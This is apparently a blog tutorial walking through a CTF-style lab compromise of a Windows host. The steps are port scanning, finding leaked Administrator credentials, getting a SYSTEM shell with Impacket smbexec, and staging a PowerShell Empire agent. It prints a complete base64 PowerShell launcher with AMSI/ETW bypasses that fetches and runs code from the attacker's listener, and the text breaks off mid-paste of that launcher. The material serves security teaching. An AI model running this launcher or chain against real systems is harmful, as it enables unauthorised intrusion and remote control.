As I started learning more about CTF and pentesting, I started to wonder how I can turn a command shell into Meterpreter. Most of my experience almost always ended with just using a command shell to view something. Recently, I learned how to elevate from a command shell to a Meterpreter shell. Today, I’m going to demonstrate how to do that.
This post contains affiliate links, which means I may earn a commission if you click through and make a purchase. This comes at no additional cost to you. Full disclosure here.
Environment
The environment is set up kinda like a CTF. That said, I am going to walk through steps from start to finish. That way, it also helps the beginners. Though, I will not be explaining each and every command in this post. Some of these are repeats of what I have covered in previous posts, like Penetration Testing 101.
Ping sweep
I like using the fping utility when performing a host discovery. Though, it is not the best tool for host discovery since Windows disables ICMP by default. Many CTF environments that I have encountered have ICMP enabled on Windows machines, so let’s hope this is the case here.
root@kali:~# fping -ga 10.3.18.0/24
10.3.18.1
10.3.18.218Port scan
To identify potential vulnerabilities on the target machine, let’s initiate a port scan.
root@kali:~# nmap -p- 10.3.18.218
Starting Nmap 7.92 ( https://nmap.org ) at 2025-01-18 23:56 IST
Nmap scan report for win10.local (10.3.18.218)
Host is up (0.0030s latency).
Not shown: 65521 closed tcp ports (reset)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
4983/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 17.90 secondsIt looks like Nmap found a port number that is not in its database as a known service.
Let’s run some Nmap scripts on that port.
root@kali:~# nmap -A -p 4983 10.3.18.218
Starting Nmap 7.92 ( https://nmap.org ) at 2025-01-18 23:59 IST
Nmap scan report for win10.local (10.3.18.218)
Host is up (0.0030s latency).
PORT STATE SERVICE VERSION
4983/tcp open http Apache httpd 2.4.52 ((Win64))
|_http-title: Site doesn't have a title (text/html).
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.52 (Win64)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows 8.1 (97%), Microsoft Windows Server 2012 (96%), Microsoft Windows Server 2012 R2 (96%), Microsoft Windows Server 2012 R2 Update 1 (96%), Microsoft Windows 7, Windows Server 2012, or Windows 8.1 Update 1 (96%), Microsoft Windows Server 2012 or Server 2012 R2 (95%), Microsoft Windows Vista SP1 (95%), Microsoft Windows Server 2008 SP2 Datacenter Version (94%), Microsoft Windows 7 or Windows Server 2008 R2 (94%), Microsoft Windows Server 2008 R2 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 3 hops
TRACEROUTE (using port 443/tcp)
HOP RTT ADDRESS
1 0.04 ms us-west-6 (10.10.40.1)
2 ...
3 3.27 ms win10.local (10.3.18.218)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.67 secondsIt looks like it’s running a web server on that port.
Let’s explore that with the tool called curl. You can use a web browser, but sometimes it is better to use the command line.
root@kali:~# curl http://10.3.18.218:4983
@echo off net use "\\fileserver\C$" /user:Administrator abc_123321!@# if exist "\\fileserver\C$\Program_Files\MSBuild\ErrorLog.txt" ( echo "Copying errors\..." copy "\\fileserver\C$\Program_Files\MSBuild\ErrorLog.txt" C:\Users\local_admin\Logs\Host1\ del "\\fileserver\C$\Program_Files\MSBuild\ErrorLog.txt" ) else ( echo "No errors!" ) net use "\\fileserver\C$" /deleteAha, it looks like someone leaked the administrator’s account credentials by accident.
Impacket
Since we do not have RDP (Remote Desktop Protocol) port open, we need to find a way to access this machine somehow. Fortunately, Impacket has a tool called smbexec.py that we can use to connect on port 445.
root@kali:~# smbexec.py 'Administrator:abc_123321!@#'@10.3.18.218
Impacket v0.9.25.dev1+20220131.200424.badf09d - Copyright 2021 SecureAuth Corporation
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>Empire
PowerShell Empire is an open-source post-exploitation and adversary emulation framework that is used by penetration testers and red teams. We are going to use this tool on the way towards having a Meterpreter shell.
Do you find this content useful?
If so, consider buying me a coffee!
First, we need to run the server by issuing the command powershell-empire server.
root@kali:~# powershell-empire server
[*] Loading default config
[*] Setting up database.
[*] Adding default user.
[*] Adding database config.
[*] Generating random staging key
[*] Adding default bypasses.
[*] Adding default keyword obfuscation functions.
[*] Loading stagers from: /usr/share/powershell-empire/empire/server/stagers/
[*] Loading modules from: /usr/share/powershell-empire/empire/server/modules/
[*] Loading listeners from: /usr/share/powershell-empire/empire/server/listeners/
[*] Loading malleable profiles from: /usr/share/powershell-empire/empire/server/data/profiles
[*] Searching for plugins at /usr/share/powershell-empire/empire/server/plugins/
[*] Initializing plugin...
[*] Doing custom initialization...
[*] Loading websockify server plugin
[*] Registering plugin with menu...
[*] Initializing plugin...
[*] Doing custom initialization...
[*] Loading Empire C# server plugin
[*] Registering plugin with menu...
[*] Initializing plugin...
[*] Doing custom initialization...
[*] Loading Empire reverseshell server plugin
[*] Registering plugin with menu...
[*] Empire starting up...
[*] Starting Empire RESTful API on 0.0.0.0:1337
[*] Starting Empire SocketIO on 0.0.0.0:5000
[*] Testing APIs
[+] Empire RESTful API successfully started
[+] Empire SocketIO successfully started
[*] Cleaning up test user
Welcome to .NET Core 3.1!
---------------------
SDK Version: 3.1.408
----------------
Explore documentation: https://aka.ms/dotnet-docs
Report issues and find source on GitHub: https://github.com/dotnet/core
Find out what's new: https://aka.ms/dotnet-whats-new
Learn about the installed HTTPS developer cert: https://aka.ms/aspnet-core-https
Use 'dotnet --help' to see available commands or visit: https://aka.ms/dotnet-cli-docs
Write your first app: https://aka.ms/first-net-core-app
--------------------------------------------------------------------------------------
Microsoft (R) Build Engine version 16.7.2+b60ddb6f4 for .NET
Copyright (C) Microsoft Corporation. All rights reserved.
Determining projects to restore...
/usr/share/dotnet/sdk/3.1.408/NuGet.targets(128,5): error : Unable to load the service index for source https://api.nuget.org/v3/index.json. [/usr/share/powershell-empire/empire/server/csharp/Covenant.sln]
/usr/share/dotnet/sdk/3.1.408/NuGet.targets(128,5): error : The SSL connection could not be established, see inner exception. [/usr/share/powershell-empire/empire/server/csharp/Covenant.sln]
/usr/share/dotnet/sdk/3.1.408/NuGet.targets(128,5): error : Authentication failed because the remote party has closed the transport stream. [/usr/share/powershell-empire/empire/server/csharp/Covenant.sln]
Build FAILED.
/usr/share/dotnet/sdk/3.1.408/NuGet.targets(128,5): error : Unable to load the service index for source https://api.nuget.org/v3/index.json. [/usr/share/powershell-empire/empire/server/csharp/Covenant.sln]
/usr/share/dotnet/sdk/3.1.408/NuGet.targets(128,5): error : The SSL connection could not be established, see inner exception. [/usr/share/powershell-empire/empire/server/csharp/Covenant.sln]
/usr/share/dotnet/sdk/3.1.408/NuGet.targets(128,5): error : Authentication failed because the remote party has closed the transport stream. [/usr/share/powershell-empire/empire/server/csharp/Covenant.sln]
0 Warning(s)
1 Error(s)
Time Elapsed 00:00:01.21
[+] Plugin csharpserver ran successfully!
Server >There is an error, but we are going to ignore it. Next, we’ll run the powershell-empire client command.
root@kali:~# powershell-empire client
[*] Loading default config
`````````
``````.--::///+
````-+sydmmmNNNNNNN
``./ymmNNNNNNNNNNNNNN
``-ymmNNNNNNNNNNNNNNNNN
```ommmmNNNNNNNNNNNNNNNNN
``.ydmNNNNNNNNNNNNNNNNNNNN
```odmmNNNNNNNNNNNNNNNNNNNN
```/hmmmNNNNNNNNNNNNNNNNMNNN
````+hmmmNNNNNNNNNNNNNNNNNMMN
````..ymmmNNNNNNNNNNNNNNNNNNNN
````:.+so+//:---.......----::-
`````.`````````....----:///++++
``````.-/osy+////:::---...-dNNNN
````:sdyyydy` ```:mNNNNM
````-hmmdhdmm:` ``.+hNNNNNNM
```.odNNmdmmNNo````.:+yNNNNNNNNNN
```-sNNNmdh/dNNhhdNNNNNNNNNNNNNNN
```-hNNNmNo::mNNNNNNNNNNNNNNNNNNN
```-hNNmdNo--/dNNNNNNNNNNNNNNNNNN
````:dNmmdmd-:+NNNNNNNNNNNNNNNNNNm
```/hNNmmddmd+mNNNNNNNNNNNNNNds++o
``/dNNNNNmmmmmmmNNNNNNNNNNNmdoosydd
`sNNNNdyydNNNNmmmmmmNNNNNmyoymNNNNN
:NNmmmdso++dNNNNmmNNNNNdhymNNNNNNNN
-NmdmmNNdsyohNNNNmmNNNNNNNNNNNNNNNN
`sdhmmNNNNdyhdNNNNNNNNNNNNNNNNNNNNN
/yhmNNmmNNNNNNNNNNNNNNNNNNNNNNmhh
`+yhmmNNNNNNNNNNNNNNNNNNNNNNmh+:
`./dmmmmNNNNNNNNNNNNNNNNmmd.
`ommmmmNNNNNNNmNmNNNNmmd:
:dmmmmNNNNNmh../oyhhhy:
`sdmmmmNNNmmh/++-.+oh.
`/dmmmmmmmmdo-:/ossd:
`/ohhdmmmmmmdddddmh/
`-/osyhdddddhyo:
``.----.`
Welcome to the Empire
========================================================================================
[Empire] Post-Exploitation Framework
========================================================================================
[Version] 4.3.0 BC Security Fork | [Web] https://github.com/BC-SECURITY/Empire
========================================================================================
[Starkiller] Multi-User GUI | [Web] https://github.com/BC-SECURITY/Starkiller
========================================================================================
This build was released exclusively for Kali Linux | https://kali.org
========================================================================================
_______ ___ ___ ______ __ ______ _______
| ____| | \/ | | _ \ | | | _ \ | ____|
| |__ | \ / | | |_) | | | | |_) | | |__
| __| | |\/| | | ___/ | | | / | __|
| |____ | | | | | | | | | |\ \----. | |____
|_______| |__| |__| | _| |__| | _| `._____| |_______|
396 modules currently loaded
0 listeners currently active
0 agents currently active
[*] Connected to localhost
(Empire) > help
Connected: https://localhost:1337 | 0 agent(s) | 1 unread message(s)Now, we are ready to use Empire.
Listeners
The first thing we need to do is set up a listener. As the name implies, it listens for a connection from the target machine. In this post, we’ll use the HTTP listener.
(Empire) > uselistener http
Author @harmj0y
Description Starts a http[s] listener (PowerShell or Python) that uses a GET/POST
approach.
Name HTTP[S]
┌Record Options────┬─────────────────────────────────────┬──────────┬─────────────────────────────────────┐
│ Name │ Value │ Required │ Description │
├──────────────────┼─────────────────────────────────────┼──────────┼─────────────────────────────────────┤
│ BindIP │ 0.0.0.0 │ True │ The IP to bind to on the control │
│ │ │ │ server. │
├──────────────────┼─────────────────────────────────────┼──────────┼─────────────────────────────────────┤
│ CertPath │ │ False │ Certificate path for https │
│ │ │ │ listeners. │
├──────────────────┼─────────────────────────────────────┼──────────┼─────────────────────────────────────┤
│ Cookie │ wYsGPIF │ False │ Custom Cookie Name │
├──────────────────┼─────────────────────────────────────┼──────────┼─────────────────────────────────────┤
│ DefaultDelay │ 5 │ True │ Agent delay/reach back interval (in │
│ │ │ │ seconds). │
├──────────────────┼─────────────────────────────────────┼──────────┼─────────────────────────────────────┤
│ DefaultJitter │ 0.0 │ True │ Jitter in agent reachback interval │
│ │ │ │ (0.0-1.0). │
├──────────────────┼─────────────────────────────────────┼──────────┼─────────────────────────────────────┤
│ DefaultLostLimit │ 60 │ True │ Number of missed checkins before │
│ │ │ │ exiting │
├──────────────────┼─────────────────────────────────────┼──────────┼─────────────────────────────────────┤
│ DefaultProfile │ /admin/get.php,/news.php,/login/pro │ True │ Default communication profile for │
│ │ cess.php|Mozilla/5.0 (Windows NT │ │ the agent. │
│ │ 6.1; WOW64; Trident/7.0; rv:11.0) │ │ │
│ │ like Gecko │ │ │
├──────────────────┼─────────────────────────────────────┼──────────┼─────────────────────────────────────┤
│ Headers │ Server:Microsoft-IIS/7.5 │ True │ Headers for the control server. │
├──────────────────┼─────────────────────────────────────┼──────────┼─────────────────────────────────────┤
│ Host │ http://10.10.48.2 │ True │ Hostname/IP for staging. │
├──────────────────┼─────────────────────────────────────┼──────────┼─────────────────────────────────────┤
│ KillDate │ │ False │ Date for the listener to exit │
│ │ │ │ (MM/dd/yyyy). │
├──────────────────┼─────────────────────────────────────┼──────────┼─────────────────────────────────────┤
│ Launcher │ powershell -noP -sta -w 1 -enc │ True │ Launcher string. │
├──────────────────┼─────────────────────────────────────┼──────────┼─────────────────────────────────────┤
│ Name │ http │ True │ Name for the listener. │
├──────────────────┼─────────────────────────────────────┼──────────┼─────────────────────────────────────┤
│ Port │ │ True │ Port for the listener. │
├──────────────────┼─────────────────────────────────────┼──────────┼─────────────────────────────────────┤
│ Proxy │ default │ False │ Proxy to use for request (default, │
│ │ │ │ none, or other). │
├──────────────────┼─────────────────────────────────────┼──────────┼─────────────────────────────────────┤
│ ProxyCreds │ default │ False │ Proxy credentials │
│ │ │ │ ([domain\]username:password) to use │
│ │ │ │ for request (default, none, or │
│ │ │ │ other). │
├──────────────────┼─────────────────────────────────────┼──────────┼─────────────────────────────────────┤
│ SlackURL │ │ False │ Your Slack Incoming Webhook URL to │
│ │ │ │ communicate with your Slack │
│ │ │ │ instance. │
├──────────────────┼─────────────────────────────────────┼──────────┼─────────────────────────────────────┤
│ StagerURI │ │ False │ URI for the stager. Must use │
│ │ │ │ /download/. Example: │
│ │ │ │ /download/stager.php │
├──────────────────┼─────────────────────────────────────┼──────────┼─────────────────────────────────────┤
│ StagingKey │ b1><!W&Z|sKuEIHN~L^iQMx%t,vOln{# │ True │ Staging key for initial agent │
│ │ │ │ negotiation. │
├──────────────────┼─────────────────────────────────────┼──────────┼─────────────────────────────────────┤
│ UserAgent │ default │ False │ User-agent string to use for the │
│ │ │ │ staging request (default, none, or │
│ │ │ │ other). │
├──────────────────┼─────────────────────────────────────┼──────────┼─────────────────────────────────────┤
│ WorkingHours │ │ False │ Hours for the agent to operate │
│ │ │ │ (09:00-17:00). │
└──────────────────┴─────────────────────────────────────┴──────────┴─────────────────────────────────────┘
(Empire: uselistener/http) >Options
Just like Metasploit, we must to set some parameters for the listener to work. In this case, we’re setting Host and Port.
(Empire: uselistener/http) > set Host 10.10.40.2
[*] Set Host to 10.10.48.2
(Empire: uselistener/http) > set Port 8888
[*] Set Port to 8888
(Empire: uselistener/http) > execute
[+] Listener http successfully started
(Empire: uselistener/http) > listeners
┌Listeners List──────┬───────────────────┬─────────────────────────────────────────┬─────────┐
│ ID │ Name │ Module │ Listener Category │ Created At │ Enabled │
├────┼──────┼────────┼───────────────────┼─────────────────────────────────────────┼─────────┤
│ 1 │ http │ http │ client_server │ 2025-01-18 13:07:00 IST (7 seconds ago) │ True │
└────┴──────┴────────┴───────────────────┴─────────────────────────────────────────┴─────────┘
(Empire: listeners) >Stager
Now that the listener is up, we need to create a stager. A stager is a code that executes a payload on the target machine, which connects back to the listener. In this case, we’ll use launcher.
(Empire: listeners) > usestager multi/launcher
Author @harmj0y
Description Generates a one-liner stage0 launcher for Empire.
Name multi/launcher
┌Record Options────┬────────────────────┬──────────┬─────────────────────────────────────┐
│ Name │ Value │ Required │ Description │
├──────────────────┼────────────────────┼──────────┼─────────────────────────────────────┤
│ Base64 │ True │ True │ Switch. Base64 encode the output. │
├──────────────────┼────────────────────┼──────────┼─────────────────────────────────────┤
│ Bypasses │ mattifestation etw │ False │ Bypasses as a space separated list │
│ │ │ │ to be prepended to the launcher │
├──────────────────┼────────────────────┼──────────┼─────────────────────────────────────┤
│ Language │ powershell │ True │ Language of the stager to generate. │
├──────────────────┼────────────────────┼──────────┼─────────────────────────────────────┤
│ Listener │ │ True │ Listener to generate stager for. │
├──────────────────┼────────────────────┼──────────┼─────────────────────────────────────┤
│ Obfuscate │ False │ False │ Switch. Obfuscate the launcher │
│ │ │ │ powershell code, uses the │
│ │ │ │ ObfuscateCommand for obfuscation │
│ │ │ │ types. For powershell only. │
├──────────────────┼────────────────────┼──────────┼─────────────────────────────────────┤
│ ObfuscateCommand │ Token\All\1 │ False │ The Invoke-Obfuscation command to │
│ │ │ │ use. Only used if Obfuscate switch │
│ │ │ │ is True. For powershell only. │
├──────────────────┼────────────────────┼──────────┼─────────────────────────────────────┤
│ OutFile │ │ False │ Filename that should be used for │
│ │ │ │ the generated output. │
├──────────────────┼────────────────────┼──────────┼─────────────────────────────────────┤
│ Proxy │ default │ False │ Proxy to use for request (default, │
│ │ │ │ none, or other). │
├──────────────────┼────────────────────┼──────────┼─────────────────────────────────────┤
│ ProxyCreds │ default │ False │ Proxy credentials │
│ │ │ │ ([domain\]username:password) to use │
│ │ │ │ for request (default, none, or │
│ │ │ │ other). │
├──────────────────┼────────────────────┼──────────┼─────────────────────────────────────┤
│ SafeChecks │ True │ True │ Switch. Checks for LittleSnitch or │
│ │ │ │ a SandBox, exit the staging process │
│ │ │ │ if true. Defaults to True. │
├──────────────────┼────────────────────┼──────────┼─────────────────────────────────────┤
│ StagerRetries │ 0 │ False │ Times for the stager to retry │
│ │ │ │ connecting. │
├──────────────────┼────────────────────┼──────────┼─────────────────────────────────────┤
│ UserAgent │ default │ False │ User-agent string to use for the │
│ │ │ │ staging request (default, none, or │
│ │ │ │ other). │
└──────────────────┴────────────────────┴──────────┴─────────────────────────────────────┘
(Empire: usestager/multi/launcher) >Options
Since we used HTTP listener earlier, we’ll set that in our launcher.
Want to learn more about cybersecurity?
INE offers cloud, networking, security, etc. training videos
(Empire: usestager/multi/launcher) > set Listener http
[*] Set Listener to http
(Empire: usestager/multi/launcher) > execute
powershell -noP -sta -w 1 -enc SQBmACgAJABQAFMAVgBFAHIAcwBJAE8ATgBUAGEAQgBMAEUALgBQAFMAVgBFAFIAcwBJAE8AbgAuAE0AYQBqAE8AcgAgAC0AZwBFACAAMwApAHsAJABSAEUAZgA9AFsAUgBlAGYAXQAuAEEAUwBTAEUAbQBCAEwAeQAuAEcAZQBUAFQAeQBwAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBAG0AcwBpACcAKwAnAFUAdABpAGwAcwAnACkAOwAkAFIAZQBmAC4ARwBFAHQARgBpAGUAbABEACgAJwBhAG0AcwBpAEkAbgBpAHQARgAnACsAJwBhAGkAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAEUAVABWAGEAbAB1AGUAKAAkAG4AdQBsAGwALAAkAHQAcgB1AEUAKQA7AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBFAHYAZQBuAHQAaQBuAGcALgBFAHYAZQBuAHQAUAByAG8AdgBpAGQAZQByAF0ALgAiAEcAZQB0AEYAaQBlAGAAbABkACIAKAAnAG0AXwBlACcAKwAnAG4AYQBiAGwAZQBkACcALAAnAE4AbwBuACcAKwAnAFAAdQBiAGwAaQBjACwAJwArACcASQBuAHMAdABhAG4AYwBlACcAKQAuAFMAZQB0AFYAYQBsAHUAZQAoAFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQAnACsAJwBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBUAHIAYQBjAGkAbgBnAC4AUABTAEUAJwArACcAdAB3AEwAbwBnAFAAcgBvAHYAaQBkAGUAcgAnACkALgAiAEcAZQB0AEYAaQBlAGAAbABkACIAKAAnAGUAdAAnACsAJwB3AFAAcgBvAHYAaQBkAGUAcgAnACwAJwBOAG8AbgBQAHUAYgAnACsAJwBsAGkAYwAsAFMAJwArACcAdABhAHQAaQBjACcAKQAuAEcAZQB0AFYAYQBsAHUAZQAoACQAbgB1AGwAbAApACwAMAApADsAfQA7AFsAUwB5AFMAVABlAG0ALgBOAGUAdAAuAFMARQBSAFYASQBjAEUAUABPAGkATgB0AE0AQQBuAEEARwBlAHIAXQA6ADoARQBYAHAARQBjAHQAMQAwADAAQwBvAE4AdABpAG4AVQBlAD0AMAA7ACQANwBBADYARQBkAD0ATgBFAFcALQBPAEIASgBlAEMAdAAgAFMAeQBzAHQARQBtAC4ATgBlAHQALgBXAEUAYgBDAEwAaQBFAE4AdAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAHMAZQByAD0AJAAoAFsAVABFAHgAVAAuAEUAbgBjAE8ARABJAE4ARwBdADoAOgBVAE4AaQBDAG8ARABFAC4ARwBlAFQAUwB0AHIAaQBOAEcAKABbAEMAbwBuAHYARQByAHQAXQA6ADoARgByAE8AbQBCAEEAUwBFADYANABTAFQAcgBJAG4AZwAoACcAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABBAEEATABnAEEAeABBAEQAQQBBAEwAZwBBADAAQQBEAEEAQQBMAGcAQQB5AEEARABvAEEATwBBAEEANABBAEQAZwBBAE8AQQBBAD0AJwApACkAKQA7ACQAdAA9ACcALwBhAGQAbQBpAG4ALwBnAGUAdAAuAHAAaABwACcAOwAkADcAQQA2AEUAZAAuAEgAZQBhAEQAZQBSAHMALgBBAGQARAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkADcAYQA2AGUARAAuAFAAcgBPAFgAWQA9AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFIARQBRAFUAZQBzAHQAXQA6ADoARABlAGYAYQB1AEwAdABXAGUAYgBQAHIATwB4AFkAOwAkADcAQQA2AEUARAAuAFAAUgBvAHgAeQAuAEMAcgBFAGQARQBuAFQAaQBBAEwAUwAgAD0AIABbAFMAeQBTAFQAZQBtAC4ATgBFAHQALgBDAHIAZQBkAEUAbgBUAGkAQQBMAEMAQQBjAEgAZQBdADoAOgBEAGUAZgBBAFUAbABUAE4AZQBUAFcATwByAGsAQwByAEUAZABFAE4AdABpAEEATABTADsAJABTAGMAcgBpAHAAdAA6AFAAcgBvAHgAeQAgAD0AIAAkADcAYQA2AGUAZAAuAFAAcgBvAHgAeQA7ACQASwA9AFsAUwBZAHMAdABlAE0ALgBUAEUAeAB0AC4ARQBOAGMAbwBEAEkATgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AEIAWQB0AEUAUwAoACcAegBdAF8ANABOACEALAAzACkAUQAtAHEAXgBTAD0AOQB3AHsAMABlAEMAOwBwAFIAOAAmADEAPgBEACoAQABsACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAFIARwBTADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAFsAJABfACUAJABLAC4AQwBvAFUATgBUAF0AKQAlADIANQA2ADsAJABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASgBdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAoACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAFMAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQAUwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAEIAWABPAHIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQANwBBADYARQBkAC4ASABFAEEARABFAHIAUwAuAEEARABkACgAIgBDAG8AbwBrAGkAZQAiACwAIgBDAEcAUABSAGcAYwBmAHgAcgBMAE0ASABKAFcAQwA9AGwAVgB3AEQAVQBHAGIASAB1AFQAcQBzAHkAdQBXAHkASQBKAC8AZgBVAFQAeQAxAEoAcwBVAD0AIgApADsAJABEAGEAVABBAD0AJAA3AGEANgBFAEQALgBEAG8AdwBOAGwAbwBhAGQARABhAFQAQQAoACQAcwBlAHIAKwAkAHQAKQA7ACQAaQB2AD0AJABkAEEAVABhAFsAMAAuAC4AMwBdADsAJABkAGEAVABBAD0AJABkAGEAdABBAFsANAAuAC4AJABEAGEAdABhAC4AbABlAE4ARwB0AEgAXQA7AC0AagBPAGkATgBbAEMAaABhAHIAWwBdAF0AKAAmACAAJABSACAAJABEAGEAVABBACAAKAAkAEkAVgArACQASwApACkAfABJAEUAWAA=
(Empire: usestager/multi/launcher) >Command shell
Both our listener and stager are now created. Now, we need to execute the stager on the target machine. This will create an agent once it connects back to the Empire server, which allows us to control the target machine.
C:\Windows\system32>powershell -noP -sta -w 1 -enc SQBmACgAJABQAFMAVgBFAHIAcwBJAE8ATgBUAGEAQgBMAEUALgBQAFMAVgBFAFIAcwBJAE8AbgAuAE0AYQBqAE8AcgAgAC0AZwBFACAAMwApAHsAJABSAEUAZgA9AFsAUgBlAGYAXQAuAEEAUwBTAEUAbQBCAEwAeQAuAEcAZQBUAFQAeQBwAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBAG0AcwBpACcAKwAnAFUAdABpAGwAcwAnACkAOwAkAFIAZQBmAC4ARwBFAHQARgBpAGUAbABEACgAJwBhAG0AcwBpAEkAbgBpAHQARgAnACsAJwBhAGkAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAEUAVABWAGEAbAB1AGUAKAAkAG4AdQBsAGwALAAkAHQAcgB1AEUAKQA7AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBFAHYAZQBuAHQAaQBuAGcALgBFAHYAZQBuAHQAUAByAG8AdgBpAGQAZQByAF0ALgAiAEcAZQB0AEYAaQBlAGAAbABkACIAKAAnAG0AXwBlACcAKwAnAG4AYQBiAGwAZQBkACcALAAnAE4AbwBuACcAKwAnAFAAdQBiAGwAaQBjACwAJwArACcASQBuAHMAdABhAG4AYwBlACcAKQAuAFMAZQB0AFYAYQBsAHUAZQAoAFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQAnACsAJwBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBUAHIAYQBjAGkAbgBnAC4AUABTAEUAJwArACcAdAB3AEwAbwBnAFAAcgBvAHYAaQBkAGUAcgAnACkALgAiAEcAZQB0AEYAaQBlAGAAbABkACIAKAAnAGUAdAAnACsAJwB3AFAAcgBvAHYAaQBkAGUAcgAnACwAJwBOAG8AbgBQAHUAYgAnACsAJwBsAGkAYwAsAFMAJwArACcAdABhAHQAaQBjACcAKQAuAEcAZQB0AFYAYQBsAHUAZQAoACQAbgB1AGwAbAApACwAMAApADsAfQA7AFsAUwB5AFMAVABlAG0ALgBOAGUAdAAuAFMARQBSAFYASQBjAEUAUABPAGkATgB0AE0AQQBuAEEARwBlAHIAXQA6ADoARQBYAHAARQBjAHQAMQAwADAAQwBvAE4AdABpAG4AVQBlAD0AMAA7ACQANwBBADYARQBkAD0ATgBFAFcALQBPAEIASgBlAEMAdAAgAFMAeQBzAHQARQBtAC4ATgBlAHQALgBXAEUAYgBDAEwAaQBFAE4AdAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAHMAZQByAD0AJAAoAFsAVABFAHgAVAAuAEUAbgBjAE8ARABJAE4ARwBdADoAOgBVAE4AaQBDAG8ARABFAC4ARwBlAFQAUwB0AHIAaQBOAEcAKABbAEMAbwBuAHYARQByAHQAXQA6ADoARgByAE8AbQBCAEEAUwBFADYANABTAFQAcgBJAG4AZwAoACcAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABBAEEATABnAEEAeABBAEQAQQBBAEwAZwBBADAAQQBEAEEAQQBMAGcAQQB5AEEARABvAEEATwBBAEEANABBAEQAZwBBAE8AQQBBAD0AJwApACkAKQA7ACQAdAA9ACcALwBhAGQAbQBpAG4ALwBnAGUAdAAuAHAAaABwACcAOwAkADcAQQA2AEUAZAAuAEgAZQBhAEQAZQBSAHMALgBBAGQARAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkADcAYQA2AGUARAAuAFAAcgBPAFgAWQA9AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFIARQBRAFUAZQBzAHQAXQA6ADoARABlAGYAYQB1AEwAdABXAGUAYgBQAHIATwB4AFkAOwAkADcAQQA2AEUARAAuAFAAUgBvAHgAeQAuAEMAcgBFAGQARQBuAFQAaQBBAEwAUwAgAD0AIABbAFMAeQBTAFQAZQBtAC4ATgBFAHQALgBDAHIAZQBkAEUAbgBUAGkAQQBMAEMAQQBjAEgAZQBdADoAOgBEAGUAZgBBAFUAbABUAE4AZQBUAFcATwByAGsAQwByAEUAZABFAE4AdABpAEEATABTADsAJABTAGMAcgBpAHAAdAA6AFAAcgBvAHgAeQAgAD0AIAAkADcAYQA2AGUAZAAuAFAAcgBvAHgAeQA7ACQASwA9AFsAUwBZAHMAdABlAE0ALgBUAEUAeAB0AC4ARQBOAGMAbwBEAEkATgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AEIAWQB0AEUAUwAoACcAegBdAF8ANABOACEALAAzACkAUQAtAHEAXgBTAD0AOQB3AHsAMABlAEMAOwBwAFIAOAAmADEAPgBEACoAQABsACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAFIARwBTADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8ACU